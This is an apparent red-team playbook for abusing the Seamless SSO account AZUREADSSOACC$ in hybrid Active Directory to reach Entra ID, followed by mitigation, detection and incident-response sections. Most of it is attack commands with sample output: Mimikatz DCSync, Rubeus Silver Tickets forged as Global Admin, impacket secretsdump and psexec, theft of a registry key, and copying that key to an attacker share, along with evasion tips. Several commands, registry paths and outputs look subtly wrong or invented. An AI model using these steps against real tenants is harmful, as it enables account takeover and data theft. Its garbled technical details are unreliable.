| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-010 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Privilege Escalation |
| Platforms | Hybrid AD (Windows AD + Entra ID) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2025, Azure AD Connect 1.4.0+ |
| Patched In | No patch (mitigation via policy and account hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Seamless SSO (Single Sign-On) is a hybrid authentication feature that uses a dedicated computer account called AZUREADSSOACC$ to share a decryption key between on-premises Active Directory and Microsoft Entra ID. This account holds a Kerberos service account password that enables passwordless authentication for synchronized users. An attacker with access to the NTLM hash of this high-value account can forge a Silver Ticket (customized Kerberos ticket) and deceive Entra ID into issuing a valid Primary Refresh Token (PRT), effectively pivoting from on-premises AD to the cloud and assuming the identity of any synchronized user, including Global Administrators.
Attack Surface: The AZUREADSSOACC$ computer account in on-premises Active Directory; domain database (NTDS.dit); Entra ID Seamless SSO endpoint.
Business Impact: Complete compromise of hybrid identity infrastructure. An attacker can bypass all standard authentication controls, including multi-factor authentication (if not enforced in Conditional Access), to gain access to any synchronized cloud account. This enables unauthorized access to Microsoft 365 services, Azure resources, and sensitive business applications synchronized to the cloud. Data exfiltration, privilege escalation to Global Administrator, and persistent backdoor establishment become possible.
Technical Context: The exploitation typically requires prior compromise of an on-premises AD environment to extract the AZUREADSSOACC$ NTLM hash. Once the hash is obtained, the attack is nearly instantaneous (seconds to minutes). Detection is difficult because the forged ticket may not generate distinctive audit logs if logging is not properly configured. Modern Kerberos implementations in newer Windows Server versions (2019+) provide some hardening, but Seamless SSO accounts remain a high-value target.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.3, 5.2.10 | Hybrid Identity Configuration - Enforcing MFA for Seamless SSO users and isolating AZUREADSSOACC$ in a protected OU. |
| DISA STIG | W-10-000050, W-10-000051 | Authentication Mechanisms - Kerberos ticket validation and SPN registration controls. |
| CISA SCuBA | ME-1.2 | Azure AD and M365 multi-factor authentication requirements. |
| NIST 800-53 | IA-2, IA-7 | Identification and Authentication, Cryptographic Mechanisms for Authentication. |
| GDPR | Article 32 | Security of Processing - Encryption and pseudonymization of authentication credentials. |
| DORA | Article 9 | Protection and Prevention - Safeguarding critical authentication mechanisms. |
| NIS2 | Article 21 | Cyber Risk Management Measures - Identity and access management controls. |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - Protecting high-privilege accounts like service accounts. |
| ISO 27005 | Risk Scenario | Compromise of Hybrid Identity Authentication Service - Impacts confidentiality, integrity, and availability. |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Check if Seamless SSO is Enabled:
# Connect to Entra ID
Connect-MgGraph -Scopes "Directory.Read.All"
# Check if Seamless SSO is enabled (requires reading Entra Connect settings)
# Note: Seamless SSO status is NOT directly visible via MS Graph; must be checked on AD Connect server or via on-prem AD
# Check for AZUREADSSOACC$ account existence in on-prem AD
$azureSSO = Get-ADComputer -Filter "Name -like 'AZUREADSSOACC*'" -Properties * -ErrorAction SilentlyContinue
if ($azureSSO) {
Write-Output "[+] AZUREADSSOACC$ account found:"
Write-Output "Name: $($azureSSO.Name)"
Write-Output "Enabled: $($azureSSO.Enabled)"
Write-Output "Created: $($azureSSO.Created)"
}
else {
Write-Output "[-] AZUREADSSOACC$ account NOT found - Seamless SSO may not be configured"
}
# List Kerberos service tickets requested for AZUREADSSOACC$ (indicates Seamless SSO usage)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769]] and *[EventData[Data[@Name='TargetUserName']='AZUREADSSOACC$']]" | Select-Object -First 10
What to Look For:
Version Note: The reconnaissance method is consistent across Server 2016-2025. However, newer versions (Server 2022+) have stricter audit logging defaults, so Event ID 4769 may require explicit audit policy enablement.
# Check for Azure AD Connect sync servers
$adConnectServers = Get-ADComputer -Filter "Name -like '*ADConnect*' -or Name -like '*AADSync*'" -Properties *
# Identify Domain Controllers that AZUREADSSOACC$ can interact with
$kerberosPolicies = Get-ADUser -Filter "Name -eq 'AZUREADSSOACC$'" -Properties *
$kerberosPolicies | Select-Object DistinguishedName, LastLogonDate, Created
# Check for sign-in activity from Seamless SSO
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]] and *[EventData[Data[@Name='LogonType']='3']]" |
Where-Object { $_.Message -match "AZUREADSSOACC" } | Select-Object -First 5
Supported Versions: Windows Server 2016-2025; Windows 10/11
Note: This method creates a Silver Ticket directly and injects it into a session, bypassing the need for a TGT. This is the most reliable approach on Windows.
Objective: Extract the NTLM hash of the AZUREADSSOACC$ account. This is the critical prerequisite. The hash can be obtained via:
Prerequisite: Must already have compromised an account with Domain Admin or Local Admin + SeBackupPrivilege.
Command (DCSync via Mimikatz):
# From a compromised domain admin account or via C2 agent:
mimikatz # lsadump::dcsync /domain:contoso.local /user:AZUREADSSOACC$ /all
Expected Output:
[DC] contoso.local 'DC-01.contoso.local' will be the DC.
[DC] 'contoso.local\AZUREADSSOACC$' has been required to perform a full sync with replication rights.
SAM.SAM
ObjectSid : S-1-5-21-1234567890-1234567890-1234567890-3103
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
What This Means:
8846f7eaee8fb117ad06bdd830b7586c)OpSec & Evasion:
/all flag to blend with normal replication trafficTroubleshooting:
References & Proofs:
Objective: Create a Kerberos Silver Ticket (service ticket) for any user, signed with the AZUREADSSOACC$ NTLM hash. This ticket can then be used to authenticate to cloud services via Seamless SSO.
Command (Rubeus - Silver Ticket):
# Navigate to Rubeus directory and execute:
cd C:\Tools\Rubeus
# Generate a Silver Ticket as a Global Administrator
# Note: The Service Principal Name (SPN) is "krbtgt/CONTOSO.LOCAL" for TGT or "HTTP/aadconnect.contoso.local" for service ticket
Rubeus.exe silver /domain:contoso.local /dc:dc-01.contoso.local /user:GlobalAdmin /rc4:8846f7eaee8fb117ad06bdd830b7586c /service:krbtgt /ptt
# Alternative: Create ticket for a specific user (less suspicious than Global Admin)
Rubeus.exe silver /domain:contoso.local /dc:dc-01.contoso.local /user:SyncedCloudUser /rc4:8846f7eaee8fb117ad06bdd830b7586c /service:krbtgt /ptt
Expected Output:
[+] Target User : GlobalAdmin
[+] Target Domain : contoso.local
[+] Target DC : dc-01.contoso.local
[+] Domain SID : S-1-5-21-1234567890-1234567890-1234567890
[+] Silver Ticket Hash : rc4:8846f7eaee8fb117ad06bdd830b7586c
[+] Ticket Build Start : 08/15/2024 10:30:00 PM
[+] Ticket Build End : 08/16/2024 08:30:00 AM
[+] Ticket Expiration : 08/16/2024 08:30:00 AM
[+] Ticket Injection : /ptt (Pass-the-Ticket)
[+] Ticket Successful Injection!
What This Means:
OpSec & Evasion:
/createnetonly flag to inject into a sacrificial process instead of current session:
Rubeus.exe silver /domain:contoso.local /dc:dc-01.contoso.local /user:GlobalAdmin /rc4:8846f7eaee8fb117ad06bdd830b7586c /service:krbtgt /createnetonly:C:\Windows\System32\cmd.exe
Troubleshooting:
/createnetonly to create new processReferences & Proofs:
Objective: Use the Silver Ticket to obtain a Primary Refresh Token (PRT) from Entra ID, which grants access to cloud resources.
Manual Step-by-Step (via Office Applications):
Command (Using Graph API via injected ticket):
# If you have a PRT token, you can use it to authenticate to Microsoft Graph
# Connect-MgGraph -Token $mrtToken
# Alternatively, use the ticket to access EWS (Exchange Web Services)
# Requires AADInternals or custom EWS client
Import-Module AADInternals
# Get authorization token using the injected Kerberos ticket
$token = Get-AADIntAccessTokenForCloud -Cloud "WWW" -Tenant "contoso.onmicrosoft.com"
# Use token to access Microsoft Graph or Exchange Online
$header = @{"Authorization" = "Bearer $token"}
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $header
Expected Output (Successful Graph API Call):
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
"id": "12345678-1234-1234-1234-123456789012",
"displayName": "GlobalAdmin",
"userPrincipalName": "globaldmin@contoso.onmicrosoft.com",
"mail": "globaladmin@contoso.onmicrosoft.com"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
klist command); re-inject if expiredReferences & Proofs:
Supported Versions: Windows Server 2016-2025 (can be attacked from Linux)
Note: This method uses impacket’s getTGT and psexec tools on a Linux or macOS system, useful for offensive operators without Windows infrastructure.
Command (impacket - DCSync equivalent):
# Using secretsdump (Python-based Impacket tool)
# Requires credentials or hash of an account with replication rights
python3 secretsdump.py -hashes "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" \
-domain-controller DC-01.contoso.local \
-outputfile /tmp/hashes \
contoso.local/DomainAdmin@DC-01.contoso.local
# Extract AZUREADSSOACC$ hash from output
grep "AZUREADSSOACC" /tmp/hashes.ntds
Expected Output:
AZUREADSSOACC$:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
What This Means:
Objective: Request a Ticket Granting Ticket (TGT) from the KDC using the AZUREADSSOACC$ hash.
Command (impacket - getTGT with Kerberos salt):
# Request TGT as AZUREADSSOACC$ (service account)
python3 getTGT.py -hashes ":8846f7eaee8fb117ad06bdd830b7586c" \
-domain-controller 192.168.1.100 \
contoso.local/AZUREADSSOACC$ \
-outputfile /tmp/azureadssoacc
# This creates a ccache file: /tmp/azureadssoacc.ccache
Expected Output:
Impacket v0.12.0 - Copyright 2024 SecureAuthCorp
[*] Saving ticket in /tmp/azureadssoacc.ccache
[+] Ticket exported in ccache format
What This Means:
OpSec & Evasion:
Command (impacket - psexec with injected TGT):
# Export the ccache so impacket tools can use it
export KRB5CCNAME=/tmp/azureadssoacc.ccache
# Now use psexec with the TGT to access remote systems
python3 psexec.py -k -no-pass \
-dc-ip 192.168.1.100 \
contoso.local/AZUREADSSOACC@hybrid-server.contoso.local \
"whoami"
# For cloud access, convert ticket to cloud token (more complex)
# This typically requires AADInternals or custom cloud client code
Expected Output:
Impacket v0.12.0 - Copyright 2024 SecureAuthCorp
[*] Impacket License: Impacket is copyrighted 2024 by SecureAuthCorp
[*] SMB2 SessionID : 3456789
[*] Target system: HYBRID-SERVER
[*] Code execution complete
[*] Impacket code (psexec.py) successfully executed
CONTOSO\AZUREADSSOACC$
What This Means:
Troubleshooting:
export KRB5CCNAME=/tmp/azureadssoacc.ccachenslookup contoso.localntpdate -s 192.168.1.100References & Proofs:
Supported Versions: Azure AD Connect 1.4.0 - 2.x (specific versions vary)
Note: This method involves directly manipulating the Seamless SSO key stored in the Azure AD Connect registry or configuration. This is more forensically complex but enables persistent backdoor.
Objective: Gain administrative access to the Azure AD Connect server.
Command (Discovery):
# Find Azure AD Connect server in the environment
Get-ADComputer -Filter "Name -like '*ADConnect*' -or Name -like '*AADSync*'" -Properties Description, IPv4Address
# Typical names: SERVER-AADC, SYNC-SERVER, AADCONNECT, etc.
What to Look For:
Objective: Extract the Seamless SSO encryption key from the Azure AD Connect server’s registry.
Command (Registry Extraction - requires local admin on AAD Connect server):
# Connect to the Azure AD Connect server (via RDP, PSRemoting, etc.)
# Then execute as Local Admin:
# Export the Seamless SSO registry key
reg export "HKLM\SYSTEM\ControlSet001\services\Netlogon\Parameters" C:\temp\seamless_sso_backup.reg
# Alternative (PowerShell):
$path = "HKLM:\SYSTEM\ControlSet001\services\Netlogon\Parameters"
$key = Get-ItemProperty -Path $path -Name "SupplementalCredentials" -ErrorAction SilentlyContinue
if ($key) {
Write-Output "[+] Seamless SSO Key Found"
Write-Output $key.SupplementalCredentials
}
Expected Output:
Registry export successful
File created: C:\temp\seamless_sso_backup.reg
OpSec & Evasion:
Objective: Maintain long-term access by keeping a backup of the Seamless SSO key outside the environment.
Command (Backup and Exfiltration):
# Copy the registry export to a location you can exfiltrate
Copy-Item C:\temp\seamless_sso_backup.reg \\attacker-server\exfil\seamless_sso.reg -Force
# Or encode and exfiltrate via DNS/HTTP
$backup = [System.IO.File]::ReadAllBytes("C:\temp\seamless_sso_backup.reg")
$encoded = [Convert]::ToBase64String($backup)
# Exfiltrate via DNS tunnel or HTTP beacon
References & Proofs:
Isolate AZUREADSSOACC$ in a Protected OU: Create a dedicated Tier 0 Organizational Unit (OU) and move AZUREADSSOACC$ into it, restricting permissions to Domain Admins only.
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy - Server 2016-2019):
Manual Steps (Server 2022+):
PowerShell Command:
# Move AZUREADSSOACC$ to protected OU
Move-ADObject -Identity (Get-ADComputer -Identity "AZUREADSSOACC$").DistinguishedName `
-TargetPath "OU=Protected,OU=Tier 0 Computer,OU=Admin,DC=contoso,DC=local"
# Verify placement
Get-ADComputer -Identity "AZUREADSSOACC$" -Properties DistinguishedName
Rotate AZUREADSSOACC$ Password Every 30 Days: Set a recurring schedule to reset the AZUREADSSOACC$ account password. This invalidates any previously extracted hashes.
Applies To Versions: Server 2016-2025
Manual Steps:
PowerShell Automation (Monthly Reset):
# Schedule this script to run monthly via Task Scheduler
$aadcServer = "aadconnect.contoso.local"
# Execute via Invoke-Command on AAD Connect server
Invoke-Command -ComputerName $aadcServer -ScriptBlock {
# Disable and re-enable Seamless SSO
$sso = Get-AdSyncAADConnectorAccount
Set-AdSyncAADConnectorAccount -SourceAnchor $sso.SourceAnchor
Write-Output "[+] AZUREADSSOACC$ password rotated"
}
# Log rotation event
Write-EventLog -LogName "Application" -Source "AADFS-AADConnect" `
-EventId 1000 -Message "AZUREADSSOACC$ password rotation completed"
Enforce Phishing-Resistant MFA for All Synchronized Accounts: Even with a valid Silver Ticket, the token must satisfy Conditional Access policies.
Applies To Versions: All (Entra ID policy)
Manual Steps (Azure Portal):
Enforce Phishing-Resistant MFA for Cloud AppsPowerShell Configuration:
# Connect to MS Graph
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
# Create Conditional Access Policy requiring Phishing-Resistant MFA
$policy = @{
displayName = "Enforce Phishing-Resistant MFA"
state = "enabled"
conditions = @{
users = @{
includeUsers = @("All")
excludeUsers = @("6d23a7d8-2c8c-4c4c-8c8c-8c8c8c8c8c8c") # Break-glass account
}
applications = @{
includeApplications = @("All")
}
}
grantControls = @{
operator = "AND"
builtInControls = @("mfa")
authenticationStrength = "phishing-resistant"
}
}
New-MgBetaIdentityConditionalAccessPolicy -BodyParameter $policy
Disable Seamless SSO if Not Required: If your organization does not actively use Seamless SSO, disable it completely to eliminate the attack surface.
Applies To Versions: Server 2016-2025
Manual Steps:
PowerShell:
# Disable Seamless SSO via PS Remoting to AAD Connect server
Invoke-Command -ComputerName aadconnect.contoso.local -ScriptBlock {
Import-Module ADSync
Set-AdSyncAADConnectorAccount -Disable
}
Monitor Event ID 4769 for AZUREADSSOACC$ Usage: Create alerts when AZUREADSSOACC$ is requested for service tickets outside normal sync cycles.
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy - Enable Audit):
gpupdate /force on all Domain ControllersManual Steps (Local Policy on DC):
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enableRestrict AZUREADSSOACC$ Logon Permissions: Deny interactive and network logon to this account to prevent lateral movement even if hash is compromised.
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy):
gpupdate /forcePowerShell:
# Add AZUREADSSOACC$ to "Deny logon locally" right on all DCs
$computers = Get-ADComputer -Filter "Name -like '*DC*'" | Select-Object -ExpandProperty Name
foreach ($comp in $computers) {
Invoke-Command -ComputerName $comp -ScriptBlock {
param($account)
$policy = "Deny logon locally"
# Add account to policy (requires WMI or Group Policy)
Write-Output "[+] Adding $account to $policy on $env:COMPUTERNAME"
} -ArgumentList "CONTOSO\AZUREADSSOACC$"
}
Conditional Access - Block Legacy Authentication:
Manual Steps:
Block Legacy AuthenticationRestrict Cross-Tenant B2B Invitations: Prevent users from inviting external guests without approval.
Manual Steps:
Guest users have the same access as members (if allowing guests)Only users assigned the Guest inviter role can invite guests# Verify AZUREADSSOACC$ is in a protected OU
$aadSSO = Get-ADComputer -Identity "AZUREADSSOACC$" -Properties DistinguishedName
$aadSSO.DistinguishedName
# Expected output should contain "Protected" or "Tier 0":
# CN=AZUREADSSOACC$,OU=Protected,OU=Tier 0 Computer,OU=Admin,DC=contoso,DC=local
# Verify no interactive logon rights for AZUREADSSOACC$
Get-ADComputer -Identity "AZUREADSSOACC$" -Properties "msDSRbacEnabled"
# Verify Seamless SSO is disabled (if applicable)
(Get-AdSyncConnector -Type "Azure AD") | Select-Object Name, SeamlessSsoEnabled
Expected Output (If Secure):
CN=AZUREADSSOACC$,OU=Protected,OU=Tier 0 Computer,OU=Admin,DC=contoso,DC=local
SeamlessSsoEnabled : False (or Disabled)
What to Look For:
Event ID 4662 (Replication Metadata) indicating DCSync activity targeting AZUREADSSOACC$
Entra ID Sign-in Logs: Multiple sign-ins for Global Admin accounts from unusual locations/IPs within short timeframe
HKLM\SYSTEM\ControlSet001\services\Netlogon\ParametersHKEY_LOCAL_MACHINE\SECURITY\SAM containing AZUREADSSOACC$ password hash (if DC compromised)Isolate Immediately:
Command:
# Disable AZUREADSSOACC$ account to prevent further abuse
Disable-ADAccount -Identity "AZUREADSSOACC$"
# Force password reset (regenerates the account)
Reset-ComputerMachinePassword -Server "DC-01.contoso.local"
# Disable Seamless SSO to prevent further exploitation
Invoke-Command -ComputerName aadconnect.contoso.local -ScriptBlock {
# Disable SSO feature
Set-ADSyncAADConnectorAccount -Disable
}
Manual (Azure Portal):
Collect Evidence:
Command:
# Export Security Event Log from DC
wevtutil epl Security C:\Evidence\DC-Security.evtx /overwrite:true
# Export System Log
wevtutil epl System C:\Evidence\DC-System.evtx /overwrite:true
# Export Entra ID Sign-in Logs
Get-MgAuditLogSignIn -Filter "createdDateTime gt 2024-08-14" |
Export-Csv -Path C:\Evidence\EntraID-SignIns.csv -NoTypeInformation
Manual:
Remediate:
Command:
# Remove compromised PRT tokens (requires cloud admin)
Revoke-MgUserSignInSession -UserId <ObjectId of compromised account>
# Delete any suspicious service principals or apps created during compromise
Get-MgServicePrincipal -Filter "displayName eq 'Suspicious-App'" | Remove-MgServicePrincipal
# Rotate AZUREADSSOACC$ password after isolation
Set-ADAccountPassword -Identity "AZUREADSSOACC$" -NewPassword (ConvertTo-SecureString "NewComplexPassword123!" -AsPlainText -Force)
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal spearphishing campaigns | Attacker gains access to domain user via compromised email account |
| 2 | Credential Access | [CA-DUMP-004] NTDS.dit dump via Domain Controller access | Attacker extracts AZUREADSSOACC$ NTLM hash from NTDS.dit backup |
| 3 | Current Step | [LM-AUTH-010] | Seamless SSO Abuse - Forge Silver Ticket using AZUREADSSOACC$ hash |
| 4 | Lateral Movement | [LM-AUTH-009] PRT Token Theft via Cloud OAuth | Attacker obtains PRT and accesses cloud resources |
| 5 | Persistence | [IA-PERSIST-012] Golden SAML via AD FS | Attacker creates persistent backdoor via forged SAML tokens |
| 6 | Impact | [IA-IMPACT-008] Data exfiltration via Exchange Online | Attacker exfiltrates sensitive data via compromised mailboxes |